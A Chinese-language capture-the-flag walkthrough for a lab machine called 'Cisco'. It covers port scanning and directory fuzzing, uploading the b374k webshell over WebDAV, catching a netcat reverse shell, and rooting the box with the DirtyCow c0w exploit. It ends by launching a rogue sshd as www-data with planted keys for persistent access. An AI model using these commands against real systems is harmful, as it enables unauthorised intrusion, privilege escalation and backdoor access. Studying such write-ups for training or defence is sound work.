导语:“Cisco”这台机器的IP地址是10.42.0.150 如果我们使用nmap执行基本扫描,我们可以找到以下服务 $ nmap -sV 10.42.0.150 22/tcp open ssh OpenSSH 5.
“Cisco”这台机器的IP地址是10.42.0.150
如果我们使用nmap执行基本扫描,我们可以找到以下服务
$ nmap -sV 10.42.0.150 22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze5 (protocol 2.0) 5000/tcp open http nginx 0.7.67 8081/tcp open http Apache httpd 2.2.16
这些Web服务没有初始页面,所以我们必须使用模糊测试工具来爆破隐藏的目录或文件。
要找到易受攻击的服务,我们必须执行更广泛的端口扫描
$ nmap -sV -p- 10.42.0.150 15200/tcp open http Apache httpd 2.2.16
同样,在第一次访问时,它返回一个403错误,所以我们也可以用dirb或wfuzz查找隐藏的文件。
$ dirb ---- Scanning URL: http://10.42.0.150:15200/ ---- + http://10.42.0.150:15200/server-status (CODE:403|SIZE:295) ==> DIRECTORY: http://10.42.0.150:15200/upload/ ==> DIRECTORY: http://10.42.0.150:15200/webdav/
webdav目录的存在已经可以帮助我们尝试上传文件。尽管这不是唯一能够得出这个结论的方法。我们可以通过OPTIONS请求或者通过使用Nikto漏洞扫描工具来获取允许的HTTP方法列表。
$ curl -I -X OPTIONS 10.42.0.150:15200 HTTP/1.1 200 OK Date: Fri, 26 Jan 2018 11:29:49 GMT Server: Apache/2.2.16 (Debian) DAV: 1,2 DAV: <http://apache.org/dav/propset/fs/1> MS-Author-Via: DAV Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,LOCK,UNLOCK $ nikto -host http://10.42.0.150:15200 ... + Allowed HTTP Methods: OPTIONS, GET, HEAD, POST, DELETE, TRACE, PROPFIND, PROPPATCH, COPY, MOVE, LOCK, UNLOCK + OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server. + OSVDB-5647: HTTP method ('Allow' Header): 'MOVE' may allow clients to change file locations on the web server. + WebDAV enabled (COPY PROPPATCH LOCK PROPFIND UNLOCK listed as allowed)
要上传我们最喜爱的webshell,我们可以使用cadaver工具。在这里我使用了 b374k 这个webshell;)
$ cadaver dav:/webdav/> put b374k.php Uploading b374k.php to '/webdav/b374k.php': Progress: [=============================>] 100.0% of 74132 bytes succeeded.
我们使用webshell来反弹获得一个shell。
$ nc -nlvp 8080 connect to [10.42.0.201] from (UNKNOWN) [10.42.0.150] 58959 b374k shell : connected />whoami www-data />find / -name *flag* 2>/dev/null /home/bob/flag.txt />cat /home/bob/flag.txt cat: /home/bob/flag.txt: Permission denied
显然,我们应该以用户bob的身份访问flag.txt文件。
要作为bob这个用户访问falg文件,有一种方法是使用bob:bob的ssh服务中的凭证。虽然我用了不同的方法。
我使用了另一个更为简单的方法,直接提升权限。使用DirtyCow直接提权到root用户的权限。在https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54这里有一个包含多个漏洞的列表,其中我们选择使用32位版本的c0w.c这个Exp。
/tmp>gcc -pthread c0w.c -o c0w /tmp>./c0w (___) (o o)_____/ @@ ` \ \ ____, //usr/bin/passwd // // ^^ ^^ DirtyCow root privilege escalation Backing up /usr/bin/passwd to /tmp/bak mmap b765d000 madvise 0
/tmp>passwd whoami root cat /home/bob/flag.txt Flag{8f9f...} cat /root/flag.txt Flag{59bk...}
通过ssh与www-data用户交互访问
虽然要实现这个目的没有必要获得一个完全交互的shell,但是我想尝试通过一个自定义配置来提高ssh服务。要求是www-data用户允许登录,并有一个正确的目录来上传密钥文件。
$ find / -user www-data -type d -ls 2>/dev/null | grep -v '/proc/' 209688 4 drwxr-xr-x 4 www-data www-data 4096 Jan 26 16:05 /var/cache/apache2 209689 4 drwxr-xr-x 2 www-data www-data 4096 Jan 28 2014 /var/cache/apache2/mod_disk_cache 210213 4 drwxr-xr-x 2 www-data root 4096 Jan 22 21:15 /var/lock/apache2 297282 4 drwx------ 2 www-data www-data 4096 Jan 22 22:41 /tmp/vmware-www-data cd /var/cache/apache2 mkdir -v ssh chmod 700 ssh cd ssh echo '-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAvDarg8hPv45FHxzZslEnEkCQrzHEcKzWJRndIX7haJikqFLC ... UeUfZQIy4G2nvfoAldyfi16WQz08J3jWxJDVrZUjpsNR33DawVs5 -----END RSA PRIVATE KEY-----' > ssh_host_rsa_key chmod 600 ssh_host_rsa_key echo 'ssh-rsa AAAAB3Nz...xOyv' > authorized_keys chmod 600 authorized_keys # Launch SSH server /usr/sbin/sshd -D -p 2222 -o "PermitRootLogin yes" -o "AuthorizedKeysFile /var/cache/apache2/ssh/authorized_keys" -o "UsePrivilegeSeparation no" -o "HostKey /var/cache/apache2/ssh/ssh_host_rsa_key" -o "RSAAuthentication yes" -o "PubkeyAuthentication yes" -d $ ssh [email protected] -p 2222